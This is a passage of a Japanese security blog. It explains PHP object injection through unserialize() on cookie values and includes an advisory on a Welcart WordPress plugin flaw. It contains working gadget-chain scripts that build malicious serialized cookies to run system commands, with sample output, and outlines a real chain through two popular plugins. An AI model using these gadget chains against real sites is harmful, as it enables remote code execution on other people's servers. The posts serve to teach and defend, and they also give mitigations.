    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
上記のスクリプトは、想定としてはFooクラスのインスタンスをシリアライズして受け渡しするものですが、悪用可能なクラス定義としてBazがあります。Bazクラスは、デストラクタ内で call_user_func_array() 関数を呼び出しており、その引数は、Bazクラスのプロパティとなっています。

このスクリプトを攻撃するためのクッキーは下記で設定可能です。
<?php  // setcookie3.php

class Baz {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function __destruct() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$baz = new Baz('system', ['whoami; pwd']);  // Bazインスタンスに攻撃用のパラメータをセット
$serialized_baz = serialize($baz);
setcookie('FOO', $serialized_baz);
echo str_replace("\0", '[nul]', $serialized_baz), PHP_EOL;

上記により生成したクッキーをセットして、getcookie3.phpを実行すると、実行結果は下記となります。
Baz Object
(
    [func:Baz:private] => system
    [args:Baz:private] => Array
        (
            [0] => whoami; pwd
        )
)
www-data
/
Bazインスタンスのfuncプロパティに 'system'、argsプロパティに ['whoami; pwd'] がセットされているので、下記のcall_user_func_array関数が呼ばれることになります。
call_user_func_array('system', ['whoami; pwd']);
これにより、system('whoami; pwd'); が呼び出されます。

脆弱なプログラム(3)

getcookie3.phpは、絶対にないとも言えないのですが、私自身は見たことがないパターンです。そこで実際にあった例を紹介しましょう。具体的には、下記で紹介したケースです。
これらの例を簡単にすると、以下のスクリプトに集約されます。
<?php  // getcookie4.php

class Foo {
}

class Qux {
  private $func;
  public function __construct($func, $args) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$foo = unserialize($_COOKIE['FOO']);
print_r($foo);
オブジェクトインジェクションで直接起動できるクラスQuxのデストラクタは、call_user_func関数が呼ばれてはいますが、関数・メソッドに引数がとれません。phpinfo()関数の呼び出し程度はできますが、あんなことや、こんなこと…はできないわけです。
しかし、もう一つ別のクラスを探して、そのクラスに引数なしのメソッドからcall_user_funcやcall_user_func_array関数が引数ありで呼び出されていれば、2段階でメソッドを呼び出して、攻撃ができます。上記はそのような例になっています。
攻撃コードのセット例は下記のとおりです。
<?php  // setcookie4.php

class Qux {
  private $func;
  public function __construct($func) {
    $this->func = $func;
  }
  public function __destruct() {
    call_user_func($this->func);
  }
}

class Quux {
  private $func;
  private $args;
  public function __construct($func, $args) {
    $this->func = $func;
    $this->args = $args;
  }
  public function exec() {
    call_user_func_array($this->func, $this->args);
  }
}

header('Content-Type: text/plain');
$quux = new Quux('system', ['whoami; pwd']);
$qux  = new Qux([$quux, 'exec']);

$serialized_qux = serialize($qux);
setcookie('FOO', $serialized_qux);
echo str_replace("\0", '[nul]', $serialized_qux), PHP_EOL;
攻撃にあたっては、まずクラス Quux のインスタンスを生成し、funcプロパティに 'system'、argsプロパティに ['whoami; pwd'] をセットします。
次に、Quxクラスのインスタンスを生成し、funcプロパティに、先のQuuxインスタンスと'exec'からなる配列をセットします。
これにより生成されたクッキーをgetcookie4.phpにセットして実行した結果は下記のとおりです。
Qux Object
(
    [func:Qux:private] => Array
        (
            [0] => Quux Object
                (
                    [func:Quux:private] => system
                    [args:Quux:private] => Array
                        (
                            [0] => whoami; pwd
                        )
                )
            [1] => exec
        )
)
www-data
/
これによる任意コマンド実行の手順は次のとおりです。まず、Quxインスタンスのデストラクタが呼ばれ、そこから Quux::execメソッドが引数なしで呼ばれます。Quuxインスタンスには前述のとおり、system('whoami; pwd'); を呼び出すためのプロパティがセットされているため、execメソッドによりこれが実行されます。

その他のケース

このエントリでは、最終的にsystem関数の実行に至る例を示しました。それ以外に、スクリプトをドキュメントルート下に書き込む方法がとれる場合もあります。このような例については、下記を参照下さい。


対策

PHPのオブジェクトインジェクションは、上記のように攻撃は難易度が高いのですが、対策は実は容易です。unserialize関数に外部由来の値を渡さなければよいだけです。言い換えれば、unserialize関数に渡す値は、データベースやセッション変数など安全な情報源に限るべきですし、可能であれば、json_encode / json_decode など、より安全な方法で代替するべきです。JSONであれば、オブジェクトインジェクションによりコードが実行されることはありません。
PHP 7.0からは、unserialize関数の省略可能な第2パラメータとして、$optionsが渡せるようになり、ここからデシリアライズ対象のクラス一覧を指定できるようになりました。以下のように使います。この例では、デシリアライズにより生成されるクラスをFooクラスに限定しています。
$foo = unserialize($_COOKIE['FOO'], ["allowed_classes" => ["Foo"]]);
これにより、unserialize関数は *より安全に* 使用できるようになりますが、しかし、allowed_classesを指定するからと言って、unserialize関数に外部由来の値を指定してはいけません。これは危険過ぎますし、PHPのマニュアルにもそのように明記されています。
警告 allowed_classes の options の値にかかわらず、 ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 シリアル化したデータをユーザーに渡す必要がある場合は、安全で標準的なデータ交換フォーマットである JSON などを使うようにしましょう。 json_decode() および json_encode() を利用します。

http://php.net/manual/ja/function.unserialize.php より引用
私もこの警告に同意します。

また、緩和策としてマジックメソッド __wakeup() を活用する方法も考えられます。__wakeup() メソッドが定義されている場合、unserialize()関数でデシリアライズされたオブジェクトに対してこのメソッドが呼び出されます。__wakeup()は、通常はデシリアライズ後のオブジェクトを「使える状態に仕上げる」ためのものですが、逆にシリアライズを想定していないクラスについては、__wakeup()を「デシリアライズされたことの検知」に使えるのではないかと考えました。

具体的には、以下のような__wakeup()メソッドを定義します。
public function __wakeup() {
  trigger_error('このクラス(Qux)はシリアライズでき ません', E_USER_ERROR);
}
プログラムを終了させる目的として、trigger_error()を呼んでいますが、exit()等では終了時にデストラクタが呼ばれてしまうので結局攻撃が成立してしまいます。一方、trigger_errorでE_USER_ERRORを指定した場合は、デストラクタを呼ぶことなく直ちにプログラムが終了するので、緩和策として使えます。

また、デストラクタでは、できるだけ余計なことをしないという実装方針も有効です。
3大CMS(WordPress、Joomla!、Drupal)のソースコードからデストラクタの実装を比較してみると、Joomla!のみが圧倒的にデストラクタで *色々* やっていて、オブジェクトインジェクション攻撃に使えそうですし、実際使えます。この点、WordPressとDrupalのソースに出てくるデストラクタは概ね単純なことしかやっていないので、攻撃には使えなさそうな印象です。

まとめ

オブジェクトインジェクションの入門的な解説を試みました。オブジェクトインジェクションは、一部の著名ソフトの脆弱性として報告されており、Joomla!など大規模な攻撃例もありますが、まだまだ認知が進んでいないと思われます。
本稿によりオブジェクトインジェクションに対する認識が広がればと希望します。

EGセキュアソリューションズ広告

EGセキュアソリューションズ株式会社では、脆弱性の原理に根ざした効果的で効率的なセキュリティ施策をご案内しています。詳しくは以下のページから参照下さい。

サービス案内 | EGセキュアソリューションズ株式会社


*1: この図は「iOS でオブジェクトをシリアライズしてファイルに保存する方法 - A Day In The Life」の図を参考にリライトいたしました。

2017年9月22日金曜日

WordPressのプラグインWelcartにオブジェクトインジェクション脆弱性

エグゼクティブサマリ

WordPress向けの国産カートプラグインであるWelcartにオブジェクトインジェクション脆弱性があることが発表された。この脆弱性により環境依存ながらリモートコード実行の可能性があるため報告する。

はじめに

Welcartは、WordPressをベースにショッピングサイトを構築する際に便利なプラグインで、国産ということもあり日本では非常に多く用いられています。そのWelcartにオブジェクトインジェクションの脆弱性があり、公表されました。
オブジェクトインジェクション脆弱性の修正
フロントにて、オブジェクトインジェクションと思われる脆弱性が認められました。
過去のすべてのバージョンが対象となります。1.9.4にアップグレードしてください。
放置しますと、サイトに任意のファイルの埋め込まれる可能性があります。
Welcart 1.9.4 をリリースしました【脆弱性の修正】より引用
修正の差分は下記となっています。外部入力(クッキー)をデシリアライズしていて、典型的なオブジェクトインジェクションですね。


Welcartのフォーラムを見ると、既に攻撃された旨の報告が上がっています。しかし、私は、Welcartの脆弱性が原因ではないのではないかと疑っています。後述するように、Welcartの脆弱性が攻撃される条件が狭いからです。

オブジェクトインジェクションとは

Welcartのパターンのオブジェクトインジェクションについては、以下の記事で説明しているので参照下さい。
PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる
簡単に説明するとこうです。PHPのunserialize関数に外部由来の値(この場合はクッキー)を処理させると、サーバー内で任意のクラスのオブジェクトを生成することができます。オブジェクトは単なるデータですが、各クラスにはメソッドがあるため、クラス定義によっては外部から注入したオブジェクトのメソッドが実行されるケースがあります。典型的にはデストラクタです。このため、オブジェクトの値を巧妙に調整することにより、既存クラスのデストラクタ経由で、攻撃ができる場合があります。
先のブログ記事では、デストラクタからログ・ファイルを出力していて、オブジェクトのプロパティを調整することにより、ファイル名とログの値を外部から指定することにより、PHPスクリプトを書き込む形で任意コード実行まで行う例を示しています。

リモートコード実行可能なプラグインの組み合わせを探す

前述のように、オブジェクトインジェクション単体でできることは、データとしてのオブジェクトを注入することであり、オブジェクトのメソッドは対象アプリケーションに元々あるものを攻撃に使うことになります。しかも、生成されたオブジェクトから自動的に呼びされるものを使うケースが攻撃の典型的ですので、大雑把に言ってデストラクタが攻撃に使えるかどうかが問題になります。
私がWelcartおよびWordPress本体をざっと確認した範囲では、攻撃に使えそうなデストラクタは見当たりませんでした。先に、被害例が既に報告されているがWelcartの脆弱性が原因ではないのではないかという予想を述べた理由はこれが根拠です。
しかし、一般にWordPressサイトでは多くのプラグインを同時にインストールして用いるケースが多いので、Welcart以外のプラグインで攻撃に使えるものがないかを探すことにしました。WordPressサイトによると、WordPressの公式リポジトリから公開されているプラグインは52,194個あるようですが、その中の「人気のプラグイン」として公開されている1,386個をしらみつぶしに目視確認する方法で、コード実行に悪用できるプラグインを探しました。
まず、私が注目したのは、All-in-One Event Calendarというプラグインです。人気のプラグインとしては95番目で、有効インストール数は10万以上となっています。こちらの、Ai1ec_Shutdown_Controllerクラスのデストラクタは下記のようになっています。

12: class Ai1ec_Shutdown_Controller {
          // 中略
41:   public function __destruct() {
          // 中略
56:       // execute callbacks
57:       foreach ( $this->_callbacks as $callback ) {
58:           call_user_func( $callback );
59:       }
これにより、任意の関数あるいは任意クラスの任意メソッドが呼び出せますが、惜しいことに引数が渡せません。引数なしで悪いことというのは中々できないのでこれ単独では攻撃に使えませんが、デストラクタ以外の引数のないメソッドで、もっと色々なことができるものを探せば、組み合わせで悪いことができます。
以前、Joomla!の脆弱性とされた CVE-2015-8562 に対するPoCでは、この目的のために SimplePie というフィード解析等に用いるクラスのメソッドが悪用されました。そのあたりの解説は以下を御覧ください。
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
WordPressにもSimplePieは同梱されていて、当初これが使える! と思いました。以下のメソッドです。
 448: class SimplePie
 449: {
中略
1242:   public function init()
1243:   {
中略
1306:     if ($this->feed_url !== null)
1307:     {
1308:       $parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
1309:
1310:       // Decide whether to enable caching
1311:       if ($this->cache && $parsed_feed_url['scheme'] !== '')
1312:       {
1313:         $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location,
                               call_user_func($this->cache_name_functon, $this->feed_url), 'spc'));
1314:       }

$this->cache_name_functon に関数名、$this->feed_url に引数をセットすればいいので、楽勝じゃん…と思ったのですが、うまく行きません。デバッガで追っかけると、このクラスはWordPressの場合、デフォルトではロードされないのです。
オブジェクトインジェクションで使えるクラスは、対象アプリケーションで元々ロードされているクラスか、オートロードで自動的にロードされるクラスでなければなりません。SimplePieはこの条件に合致しないようです。
SimplePie自体はファイルとしてはあるので、サイトのカスタマイズでSimplePieを呼び出すようにしておけば攻撃に使えますが、ちょっとわざとらしい想定ですので、他の可能性を探ることにしました。
…ということで、SimplePieに代わるクラスを他のプラグインに探すことにしました。すると、ManageWP Workerというプラグインが使えそうでした。有効インストール数は50万以上です。
こちらの MWP_WordPress_HookProxy クラスの hook() メソットが使えます。
20: class MWP_WordPress_HookProxy
21: {
中略
38:     public function hook()
39:     {
40:         call_user_func_array($this->callback, $this->args);
41:     }
このクラスをオブジェクトインジェクションしたところ、元々このクラスは読み込まれていませんでしたが、オートロードでクラス定義が読み込まれました。つまり、攻撃に使えることになります。

実験

プラグインの組み合わせがレアかなと思えるものの、悪用を避けるため、具体的な攻撃コードの公表は控えます。攻撃のおおまかな流れは下記となります。
  • MWP_WordPress_HookProxyインスタンスを生成し、callbackプロパティに関数名、argsプロパティに引数配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスを生成し、_callbacksプロパティに、先のオブジェクトと文字列 "hook"からなる配列をセットする
  • Ai1ec_Shutdown_Controllerインスタンスをシリアライズ、パーセントエンコードし、クッキーにセットする
  • Welcart等のプラグインを導入したWordPressサイトを閲覧する
実験では、 pwd > /tmp/pwd というコマンドを実行し、このファイルが生成されていることで任意コード実行を確認しました。この際のMWP_WordPress_HookProxy生成は下記となります。
class MWP_WordPress_HookProxy
{
    private $callback;
    private $args;
    public function __construct() {
        $this->callback = "system";
        $this->args = array("pwd  > /tmp/pwd");
    }
}

影響

影響を受けるサイトは、Welcart 1.9.3以前を導入しているWordPressサイトですが、前述のようにこれだけでは攻撃を受ける可能性は低く、他のプラグインやカスタマイズの状況によっては、任意コード実行の可能性があります。
実験に用いたAll-in-One Event Calendar と ManageWP - Worker はあくまで例ですし、これらに脆弱性があるわけではありません。攻撃を受ける原因は、あくまで Welcart の脆弱性にあります。

対策

対策はWelcartの最新版(本稿執筆時点では 1.9.4)にアップデートすることです。

まとめ

Welcartのオブジェクトインジェクションにより任意コード実行できる可能性について説明しました。オブジェクトインジェクションに関する記事があまりない状況ですので、具体的な事例として参考にしていただければと思います。

私が調べた範囲では、現実のサイトに対する攻撃はかなり限定的であるような印象を受けましたが、短期間での荒い調査ですので、当該のWelcartをお使いのサイトは、至急にアップデートを強く推奨します。

免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびEGセキュアソリューションズ株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。


【EGセキュアソリューションズ広告】

EGセキュアソリューションズ株式会社では、WordPressを用いたウェブサイトのセキュリティ強化支援サービスを提供しています。詳しくは以下を参照下さい。

WordPressサイトのセキュリティ強化支援 | EGセキュアソリューションズ株式会社

フォロワー